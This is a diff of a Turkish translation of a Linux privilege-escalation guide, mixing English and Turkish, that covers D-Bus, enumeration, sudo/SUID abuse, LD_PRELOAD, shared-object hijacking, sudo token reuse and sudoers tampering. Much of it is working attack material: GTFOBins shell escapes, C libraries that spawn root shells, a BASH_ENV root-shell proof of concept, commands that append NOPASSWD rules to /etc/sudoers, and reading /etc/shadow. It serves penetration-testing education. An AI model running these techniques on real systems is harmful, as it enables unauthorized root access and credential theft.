prompt a music player to mute, enhancing user experience. Additionally, D-Bus supports a remote object system, simplifying service requests and method invocations between applications, streamlining processes that were traditionally complex. +Sistem çok yönlüdür; süreçler arasında veri alışverişini geliştiren temel IPC'yi destekler, bu da **enhanced UNIX domain sockets**'a benzeyen bir yapıdır. Ayrıca olayların veya sinyallerin yayınlanmasını kolaylaştırır; bu da sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, bir Bluetooth daemon'undan gelen gelen çağrı bilgisi bir müzik oynatıcıyı sessize aldırabilir. D-Bus ayrıca uzak nesne sistemini destekleyerek, uygulamalar arasında servis istekleri ve metod çağrılarını basitleştirir; geleneksel olarak karmaşık olan süreçleri düzene sokar. -D-Bus operates on an **allow/deny model**, managing message permissions (method calls, signal emissions, etc.) based on the cumulative effect of matching policy rules. These policies specify interactions with the bus, potentially allowing for privilege escalation through the exploitation of these permissions. +D-Bus, mesaj izinlerini (metod çağrıları, sinyal yayınları vb.) eşleşen politika kurallarının kümülatif etkisine göre yöneten bir **allow/deny model** üzerinde çalışır. Bu politikalar bus ile etkileşimleri belirtir ve bu izinlerin kötüye kullanılması yoluyla ayrıcalık yükseltmeye olanak sağlayabilir. -An example of such a policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` is provided, detailing permissions for the root user to own, send to, and receive messages from `fi.w1.wpa_supplicant1`. +Bir örnek politika /etc/dbus-1/system.d/wpa_supplicant.conf içinde verilmiştir; bu, root kullanıcısının fi.w1.wpa_supplicant1 ile sahip olma, mesaj gönderme ve alma izinlerini detaylandırır. -Policies without a specified user or group apply universally, while "default" context policies apply to all not covered by other specific policies. +Belirli bir kullanıcı veya grup belirtilmemiş politikalar evrensel olarak uygulanırken, "default" context politikaları diğer spesifik politikalarla kapsanmayan herkese uygulanır. ```xml @@ -640,18 +638,18 @@ Policies without a specified user or group apply universally, while "default" co ``` -**D-Bus iletişimini buradan nasıl enumerate ve exploit edeceğinizi öğrenin:** +**D-Bus communication'ı nasıl enumerate ve exploit edeceğinizi burada öğrenin:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}} -## **Network** +## **Ağ** -Network'i enumerate etmek ve makinenin konumunu tespit etmek her zaman ilginçtir. +Ağı enumerate etmek ve makinenin konumunu tespit etmek her zaman ilginçtir. -### Genel enumeration +### Generic enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -676,22 +674,22 @@ lsof -i ``` ### Açık portlar -Erişim sağlamadan önce etkileşim kuramadığınız makinede çalışan ağ servislerini her zaman kontrol edin: +Erişim sağlamadan önce, daha önce etkileşim kuramadığınız makinede çalışan ağ servislerini her zaman kontrol edin: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Sniff traffic yapıp yapamayacağınızı kontrol edin. Eğer yapabiliyorsanız, bazı credentials elde edebilirsiniz. +Ağ trafiğini sniff edip edemeyeceğinizi kontrol edin. Eğer yapabiliyorsanız, bazı credentials elde edebilirsiniz. ``` timeout 1 tcpdump ``` -## Users +## Kullanıcılar ### Generic Enumeration -Kendinizin **who** olduğunu, hangi **privileges**'a sahip olduğunuzu, sistemde hangi **users**'in bulunduğunu, hangilerinin **login** yapabildiğini ve hangilerinin **root privileges**'a sahip olduğunu kontrol edin: +Kendinizin **kim** olduğunu, hangi **ayrıcalıklara** sahip olduğunuzu, sistemde hangi **kullanıcıların** bulunduğunu, hangilerinin **giriş** yapabildiğini ve hangilerinin **root ayrıcalıklarına** sahip olduğunu kontrol edin: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -713,14 +711,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Büyük UID +### Big UID -Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların escalate privileges yapmasına izin veren bir hatadan etkilendi. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalıkları yükseltmesine izin veren bir hatadan etkilendi. Daha fazla bilgi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) ve [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** ### Gruplar -Sizi root privileges verebilecek bir grubun **üyesi olup olmadığınızı** kontrol edin: +Kök ayrıcalıkları verebilecek **herhangi bir grubun üyesi** olup olmadığınızı kontrol edin: {{#ref}} @@ -729,7 +727,7 @@ interesting-groups-linux-pe/ ### Pano -Eğer mümkünse panonun içinde ilginç bir şey olup olmadığını kontrol edin +Panoda ilginç bir şey olup olmadığını kontrol edin (mümkünse) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -746,27 +744,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Bilinen parolalar -Eğer ortamın herhangi bir **parolasını biliyorsanız**, parolayı kullanarak **her kullanıcıyla giriş yapmayı deneyin**. +Eğer **herhangi bir parolayı biliyorsanız** ortamdaki, **her kullanıcı için o parola ile giriş yapmayı deneyin**. ### Su Brute -Eğer çok fazla gürültü çıkarmaktan çekinmiyorsanız ve `su` ve `timeout` ikili dosyaları bilgisayarda mevcutsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce) kullanarak kullanıcı üzerinde brute-force denemeyi deneyebilirsiniz.\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parametresi ile aynı zamanda kullanıcılar üzerinde brute-force denemeye çalışır. +Eğer çok gürültü (noise) çıkarmaktan çekinmiyorsanız ve bilgisayarda `su` ve `timeout` ikili dosyaları mevcutsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce) kullanarak kullanıcıları brute-force etmeyi deneyebilirsiniz.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parametresiyle kullanıcıları brute-force etmeyi de dener. ## Yazılabilir PATH suistimalleri ### $PATH -Eğer $PATH içindeki herhangi bir klasöre **yazabiliyorsanız**, yazılabilir klasörün içine farklı bir kullanıcı (tercihen root) tarafından çalıştırılacak bir komutun adıyla bir **backdoor** oluşturarak ayrıcalıkları yükseltebilirsiniz ve bu komut $PATH'te yazılabilir klasörünüzden **önce gelen bir klasörden yüklenmemelidir**. +Eğer **$PATH içindeki bir klasöre yazabiliyorsanız** ayrıcalıkları **yazılabilir klasörün içine bir backdoor oluşturarak** yükseltebilirsiniz; bu backdoor, farklı bir kullanıcı (tercihen root) tarafından çalıştırılacak bir komutun adıyla olmalı ve **$PATH'te yazılabilir klasörünüzden önce bulunan bir klasörden yüklenmemelidir**. -### SUDO ve SUID +### SUDO and SUID -sudo kullanarak bazı komutları çalıştırmaya izinli olabilirsiniz veya dosyalarda suid biti olabilir. Kontrol etmek için: +sudo kullanarak bazı komutları çalıştırma izniniz olabilir ya da bazı ikili dosyalar suid bitine sahip olabilir. Bunu şu şekilde kontrol edin: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Bazı **beklenmedik komutlar dosyaları okumaya ve/veya yazmaya ya da hatta bir komut çalıştırmaya izin verir.** Örneğin: +Bazı **beklenmedik komutlar dosyaları okumaya ve/veya yazmaya veya hatta bir komut çalıştırmaya izin verir.** Örneğin: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -777,37 +775,37 @@ less>! ``` ### NOPASSWD -Sudo yapılandırması, bir kullanıcının başka bir kullanıcının ayrıcalıklarıyla bir komutu parola bilmeden çalıştırmasına izin verebilir. +Sudo yapılandırması, bir kullanıcının parola bilmeden başka bir kullanıcının ayrıcalıklarıyla bazı komutları çalıştırmasına izin verebilir. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Bu örnekte kullanıcı `demo` `vim`'i `root` olarak çalıştırabiliyor; root dizinine bir ssh anahtarı ekleyerek veya `sh` çağırarak artık bir shell almak çok kolay. +Bu örnekte `demo` kullanıcısı `root` olarak `vim` çalıştırabiliyor; artık root dizinine bir ssh anahtarı ekleyerek veya `sh` çağırarak bir shell elde etmek çok kolay. ``` sudo vim -c '!sh' ``` ### SETENV -Bu yönerge kullanıcının bir şey çalıştırırken **bir ortam değişkeni ayarlamasına** izin verir: +Bu yönerge, kullanıcının bir şeyi çalıştırırken **set an environment variable** belirlemesine olanak tanır: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Bu örnek, **HTB machine Admirer'e dayalı**, script root olarak çalıştırılırken rastgele bir python kütüphanesi yüklemek için **PYTHONPATH hijacking**'e karşı **savunmasızdı**: +Bu örnek, **based on HTB machine Admirer**, bir betiği root olarak çalıştırırken rastgele bir python kütüphanesini yüklemek için **PYTHONPATH hijacking**'e **vulnerable** idi: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### BASH_ENV preserved via sudo env_keep → root shell -If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command. +Eğer sudoers `BASH_ENV`'i koruyorsa (ör. `Defaults env_keep+="ENV BASH_ENV"`), izin verilen bir komutu çalıştırırken Bash’in etkileşimsiz başlangıç davranışını kullanarak root olarak rastgele kod çalıştırabilirsiniz. -- Neden işe yarar: Etkileşimsiz shell'ler için Bash, `$BASH_ENV`'i değerlendirir ve hedef script çalıştırılmadan önce o dosyayı source eder. Birçok sudo kuralı bir scripti veya bir shell wrapper'ı çalıştırmaya izin verir. Eğer `BASH_ENV` sudo tarafından korunuyorsa, dosyanız root ayrıcalıklarıyla kaynaklanır. +- Neden işe yarar: Etkileşimsiz shell'ler için, Bash `$BASH_ENV`'i değerlendirir ve hedef script çalıştırılmadan önce o dosyayı source eder. Birçok sudo kuralı bir script veya bir shell wrapper çalıştırmaya izin verir. Eğer sudo `BASH_ENV`'i koruyorsa, dosyanız root ayrıcalıklarıyla source edilir. - Gereksinimler: -- Çalıştırabileceğiniz bir sudo kuralı (`/bin/bash`'ı etkileşimsiz olarak çağıran herhangi bir hedef veya herhangi bir bash scripti). -- `BASH_ENV`'in `env_keep` içinde bulunması (`sudo -l` ile kontrol edin). +- Çalıştırabileceğiniz bir sudo kuralı (etkileşimsiz olarak `/bin/bash`'i çağıran herhangi bir hedef veya herhangi bir bash scripti). +- `BASH_ENV`'in `env_keep` içinde olması (kontrol etmek için `sudo -l`). - PoC: ```bash @@ -820,13 +818,13 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ # You should now have a root shell ``` - Sertleştirme: -- `BASH_ENV` (ve `ENV`) öğelerini `env_keep`'ten kaldırın, `env_reset`'i tercih edin. -- sudo ile izin verilen komutlar için shell wrapper'larından kaçının; mümkünse minimal ikili (binaries) kullanın. -- Korunan env değişkenleri kullanıldığında sudo I/O kaydı ve uyarı mekanizmalarını düşünün. +- Kaldırın `BASH_ENV` (ve `ENV`) öğelerini `env_keep`'ten; `env_reset` kullanmayı tercih edin. +- sudo ile izin verilen komutlar için shell wrapper'larından kaçının; mümkün olduğunca minimal binary'ler kullanın. +- Korunan env değişkenleri kullanıldığında sudo için I/O günlükleme ve uyarı mekanizmalarını değerlendirin. ### Sudo yürütme atlatma yolları -**Atlayın** diğer dosyaları okumak için veya **symlinks** kullanın. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** ile diğer dosyaları okumak veya **symlinks** kullanmak. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -836,50 +834,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Eğer bir **wildcard** kullanılırsa (\*), daha da kolaydır: +Eğer bir **wildcard** kullanılırsa (\*), bu daha da kolaydır: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Karşı Önlemler**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary komut yolu belirtilmemişse +### Sudo komutu/SUID binary komut yolu belirtilmeden -Eğer **sudo izni** tek bir komuta **komut yolu belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değişkenini değiştirerek bunu istismar edebilirsiniz. +Eğer **sudo permission** tek bir komuta **yol belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değişkenini değiştirerek bunu suistimal edebilirsiniz. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Bu teknik, bir **suid** binary başka bir komutu yolunu belirtmeden çalıştırıyorsa da kullanılabilir (her zaman garip bir SUID binary'nin içeriğini _**strings**_ ile kontrol edin). +Bu teknik, bir **suid** binary'nin **komutun yolunu belirtmeden başka bir komut çalıştırması durumunda da kullanılabilir (her zaman garip bir SUID binary'nin içeriğini _**strings**_ ile kontrol edin)**. [Payload examples to execute.](payloads-to-execute.md) -### Komut yoluna sahip SUID binary +### Komut yolu belirtilmiş SUID binary -Eğer **suid** binary **başka bir komutu yolunu belirterek çalıştırıyorsa**, o zaman suid dosyasının çağırdığı komutla aynı isimde bir fonksiyon oluşturup **export a function** yapmayı deneyebilirsiniz. +Eğer **suid** binary **yolu belirtilmiş başka bir komutu çalıştırıyorsa**, suid dosyasının çağırdığı komutla aynı ada sahip bir fonksiyon oluşturup bunu **export a function** olarak dışa aktarmayı deneyebilirsiniz. -For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: +Örneğin, eğer bir suid binary _**/usr/sbin/service apache2 start**_ çağırıyorsa, aynı isimde bir fonksiyon oluşturup bunu dışa aktarmayı denemelisiniz: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Then, when you call the suid binary, this function will be executed +Sonra, suid binary'yi çağırdığınızda bu fonksiyon çalıştırılacak ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: -- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). -- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. +- Loader, gerçek kullanıcı kimliği (_ruid_) ile etkin kullanıcı kimliği (_euid_) eşleşmeyen executables için **LD_PRELOAD**'u dikkate almaz. +- **suid/sgid** olan executables'lar için yalnızca standart yollarda bulunan ve ayrıca suid/sgid olan kütüphaneler preload edilir. Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. ``` Defaults env_keep += LD_PRELOAD ``` -Şu isimle kaydet: **/tmp/pe.c** +Şu isimle kaydedin: **/tmp/pe.c** ```c #include #include @@ -892,7 +890,7 @@ setuid(0); system("/bin/bash"); } ``` -Daha sonra **compile it** kullanarak: +Sonra **derleyin** kullanarak: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles @@ -902,7 +900,7 @@ Son olarak, **escalate privileges** çalıştırarak sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Benzer bir privesc, saldırgan **LD_LIBRARY_PATH** env variable'ini kontrol ederse kötüye kullanılabilir çünkü kütüphanelerin aranacağı yolu o kontrol eder. +> Benzer bir privesc, saldırgan **LD_LIBRARY_PATH** env variable'ını kontrol ediyorsa kötüye kullanılabilir çünkü kütüphanelerin aranacağı yolu o kontrol eder. ```c #include #include @@ -924,13 +922,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Olağan dışı görünen **SUID** izinlerine sahip bir binary ile karşılaşıldığında, doğru şekilde **.so** dosyalarını yükleyip yüklemediğini doğrulamak iyi bir uygulamadır. Bu, aşağıdaki komutu çalıştırarak kontrol edilebilir: +Olağandışı görünen **SUID** izinlerine sahip bir binary ile karşılaşıldığında, **.so** dosyalarını düzgün şekilde yükleyip yüklemediğini doğrulamak iyi bir uygulamadır. Bu, aşağıdaki komutu çalıştırarak kontrol edilebilir: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Örneğin, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşmak potansiyel bir istismar olanağına işaret eder. +Örneğin, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hatayla karşılaşmak sömürü potansiyeline işaret eder. -Bunu istismar etmek için, örneğin _"/path/to/.config/libcalc.c"_ adında bir C dosyası oluşturulur; dosya aşağıdaki kodu içer: +Bunu istismar etmek için, aşağıdaki kodu içeren örneğin _"/path/to/.config/libcalc.c"_ adında bir C dosyası oluşturulur: ```c #include #include @@ -941,13 +939,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Bu kod, derlenip çalıştırıldığında, dosya izinlerini değiştirerek ve ayrıcalıklı bir shell çalıştırarak ayrıcalıkları yükseltmeyi amaçlar. +Bu kod, derlenip çalıştırıldığında, dosya izinlerini manipüle ederek ve yükseltilmiş ayrıcalıklarla bir shell çalıştırarak ayrıcalıkları yükseltmeyi amaçlar. Yukarıdaki C dosyasını bir shared object (.so) dosyasına şu komutla derleyin: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Son olarak, etkilenen SUID binary'nin çalıştırılması exploit'i tetiklemeli ve potansiyel sistem ele geçirilmesine izin vermelidir. +Son olarak, etkilenmiş SUID binary'yi çalıştırmak istismarı tetiklemeli ve potansiyel olarak sistemin ele geçirilmesine izin vermelidir. ## Shared Object Hijacking ```bash @@ -959,7 +957,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Artık yazma iznimizin olduğu bir klasörden kütüphane yükleyen bir SUID binary bulduğumuza göre, o klasöre gerekli isimle kütüphaneyi oluşturalım: +Yazabileceğimiz bir klasörden kütüphane yükleyen bir SUID binary bulduğumuza göre, gerekli isimle kütüphaneyi o klasöre oluşturalım: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -976,19 +974,20 @@ Aşağıdaki gibi bir hata alırsanız ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -bu, oluşturduğunuz kütüphanenin `a_function_name` adlı bir fonksiyona sahip olması gerektiği anlamına gelir. +bu, oluşturduğunuz kütüphanenin `a_function_name` adında bir fonksiyona sahip olması gerektiği anlamına gelir. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) yerel güvenlik kısıtlamalarını aşmak için bir saldırgan tarafından istismar edilebilecek Unix ikili dosyalarının özenle hazırlanmış bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) aynı şeyi yapar ancak bir komutta **yalnızca argüman enjekte edebildiğiniz** durumlar içindir. +[**GTFOBins**](https://gtfobins.github.io) Unix binaries içeren, bir saldırganın yerel güvenlik kısıtlamalarını atlatmak için suistimal edebileceği öğelerin küratörlüğünü yapan bir listedir. [**GTFOArgs**](https://gtfoargs.github.io/) komutta **only inject arguments** yapabildiğiniz durumlar için aynısıdır. -Proje, kısıtlı shell'lerden kaçma, ayrıcalıkları yükseltme veya sürdürme, dosya transferi, bind ve reverse shell oluşturma ve diğer post-exploitation görevlerini kolaylaştırma amaçlı olarak kötüye kullanılabilecek Unix ikili dosyalarının meşru fonksiyonlarını toplar. +Proje, break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells ve diğer post-exploitation görevlerini kolaylaştırmak için suistimal edilebilecek Unix binaries'lerinin meşru fonksiyonlarını toplar. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' + {{#ref}} https://gtfobins.github.io/ {{#endref}} @@ -1000,61 +999,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -Eğer `sudo -l`'ye erişebiliyorsanız, herhangi bir sudo kuralını nasıl istismar edebileceğini bulup bulmadığını kontrol etmek için [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aracını kullanabilirsiniz. +Eğer `sudo -l` erişiminiz varsa, herhangi bir sudo kuralını nasıl suistimal edebileceğini bulup bulmadığını kontrol etmek için [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aracını kullanabilirsiniz. -### Sudo Tokenlarının Yeniden Kullanımı +### Reusing Sudo Tokens -Parolası olmadan **sudo access**'e sahip olduğunuz durumlarda, bir sudo komutu çalıştırılmasını bekleyip ardından oturum token'ını ele geçirerek ayrıcalıkları yükseltebilirsiniz. +Parolasını bilmediğiniz ancak **sudo access**'iniz olduğu durumlarda, ayrıcalıkları yükseltmek için **waiting for a sudo command execution and then hijacking the session token** yöntemini kullanabilirsiniz. -Ayrıcalıkları yükseltmek için gereksinimler: +Requirements to escalate privileges: - Zaten _sampleuser_ kullanıcısı olarak bir shell'e sahipsiniz -- _sampleuser_ son **15 dakika** içinde bir şey çalıştırmak için **`sudo` kullanmış olmalıdır** (varsayılan olarak bu, `sudo`'yu herhangi bir şifre girmeden kullanmamızı sağlayan sudo token'ının süresidir) -- `cat /proc/sys/kernel/yama/ptrace_scope` 0 olmalı +- _sampleuser_ son 15 dakika içinde `sudo` kullanmış olmalıdır (varsayılan olarak bu, şifre girmeden `sudo` kullanmamıza izin veren sudo tokeninin süresidir) +- `cat /proc/sys/kernel/yama/ptrace_scope` değeri 0 olmalı - `gdb` erişilebilir olmalı (yükleyebilmelisiniz) -(Geçici olarak `ptrace_scope`'u aktifleştirmek için `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` komutunu kullanabilir veya kalıcı olarak `/etc/sysctl.d/10-ptrace.conf` dosyasını değiştirip `kernel.yama.ptrace_scope = 0` olarak ayarlayabilirsiniz) +(Geçici olarak `ptrace_scope`'u `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ile etkinleştirebilir veya kalıcı olarak `/etc/sysctl.d/10-ptrace.conf` dosyasını değiştirip `kernel.yama.ptrace_scope = 0` ayarlayabilirsiniz) -Eğer tüm bu gereksinimler karşılanmışsa, **aşağıdakini kullanarak ayrıcalıkları yükseltebilirsiniz:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- İlk **exploit** (`exploit.sh`) _/tmp_ dizininde `activate_sudo_token` ikili dosyasını oluşturacaktır. Bunu oturumunuzdaki sudo token'ını etkinleştirmek için kullanabilirsiniz (otomatik olarak root shell elde etmeyeceksiniz; `sudo su` yapın): +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- İkinci **exploit** (`exploit_v2.sh`) _/tmp_ içinde **root'a ait ve setuid'li** bir sh shell oluşturacaktır +- **İkinci exploit** (`exploit_v2.sh`) _/tmp_ içinde bir sh shell oluşturacak **root'a ait ve setuid ile** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **Üçüncü exploit** (`exploit_v3.sh`) **sudoers file oluşturacak** ve **sudo tokens'i süresiz kılar ve tüm kullanıcıların sudo kullanmasına izin verir** +- **üçüncü exploit** (`exploit_v3.sh`) **bir sudoers file oluşturacak**; bu **sudo tokens'i sonsuz kılar ve tüm kullanıcıların sudo kullanmasına izin verir** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Klasörde veya klasör içindeki oluşturulan dosyalardan herhangi birinde **yazma izniniz** varsa, [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ikilisini kullanarak bir kullanıcı ve PID için **sudo token oluşturabilirsiniz**.\ - -Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve o kullanıcı olarak PID 1234 ile bir shell'e sahipseniz, şifreyi bilmenize gerek kalmadan aşağıdakini yaparak **sudo ayrıcalıkları elde edebilirsiniz**: +Eğer klasörde veya klasör içindeki oluşturulan dosyalardan herhangi birinde **write permissions**'a sahipseniz ikili [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) programını kullanarak **create a sudo token for a user and PID** oluşturabilirsiniz.\ +Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını overwrite edebiliyorsanız ve o kullanıcı olarak PID 1234 ile bir shell'e sahipseniz, şifreyi bilmenize gerek kalmadan şu şekilde **obtain sudo privileges** elde edebilirsiniz: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. Bu dosyalar **varsayılan olarak sadece root kullanıcısı ve root grubu tarafından okunabilir**.\ -**Eğer** bu dosyayı **okuyabiliyorsanız** bazı ilginç bilgileri **elde edebilirsiniz**, ve eğer herhangi bir dosyayı **yazabiliyorsanız** **yetki yükseltme** yapabilirsiniz. +Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar kimin `sudo` kullanabileceğini ve nasıl kullanacağını yapılandırır. Bu dosyalar **varsayılan olarak yalnızca user root ve group root tarafından okunabilir**.\ +**Eğer** bu dosyayı **okuyabiliyorsanız** bazı ilginç bilgileri **elde edebilirsiniz**, ve eğer herhangi bir dosyayı **yazabiliyorsanız** **escalate privileges** yapabilirsiniz. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Yazabiliyorsanız bu izni kötüye kullanabilirsiniz +Yazabiliyorsanız, bu izni kötüye kullanabilirsiniz. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Bu izinleri kötüye kullanmanın başka bir yolu: +Bu izinleri kötüye kullanmanın bir başka yolu: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1063,15 +1061,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -OpenBSD için `doas` gibi `sudo` binary'sine bazı alternatifler vardır; yapılandırmasını `/etc/doas.conf`'ta kontrol etmeyi unutmayın. +`sudo` binary'sine alternatif olarak OpenBSD için `doas` gibi araçlar vardır; yapılandırmasını `/etc/doas.conf` içinde kontrol etmeyi unutmayın. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Eğer bir **kullanıcının genellikle bir makineye bağlanıp `sudo` kullanarak** ayrıcalık yükselttiğini biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, root olarak kodunuzu çalıştıracak ve ardından kullanıcının komutunu yürütecek yeni bir sudo yürütülebilir dosyası **oluşturabilirsiniz**. Sonra, kullanıcı bağlamının **$PATH**'ini değiştirin (örneğin yeni yolu `.bash_profile` içine ekleyerek) böylece kullanıcı sudo çalıştırdığında sizin sudo yürütülebilir dosyanız çalıştırılır. +Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve ayrıcalıkları yükseltmek için `sudo` kullandığını** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, root olarak kodunuzu ve ardından kullanıcının komutunu çalıştıracak **yeni bir sudo executable oluşturabilirsiniz**. Sonra, kullanıcı bağlamının **$PATH**'ini (örneğin yeni yolu `.bash_profile` içine ekleyerek) **değiştirin**, böylece kullanıcı `sudo`'yu çalıştırdığında sizin sudo executable'ınız çalıştırılır. -Dikkat edin: kullanıcı farklı bir shell (bash değil) kullanıyorsa, yeni yolu eklemek için diğer dosyaları değiştirmeniz gerekecektir. Örneğin[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz. +Dikkat: eğer kullanıcı farklı bir shell (bash olmayan) kullanıyorsa yeni yolu eklemek için diğer dosyaları değiştirmeniz gerekecektir. Örneğin [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, 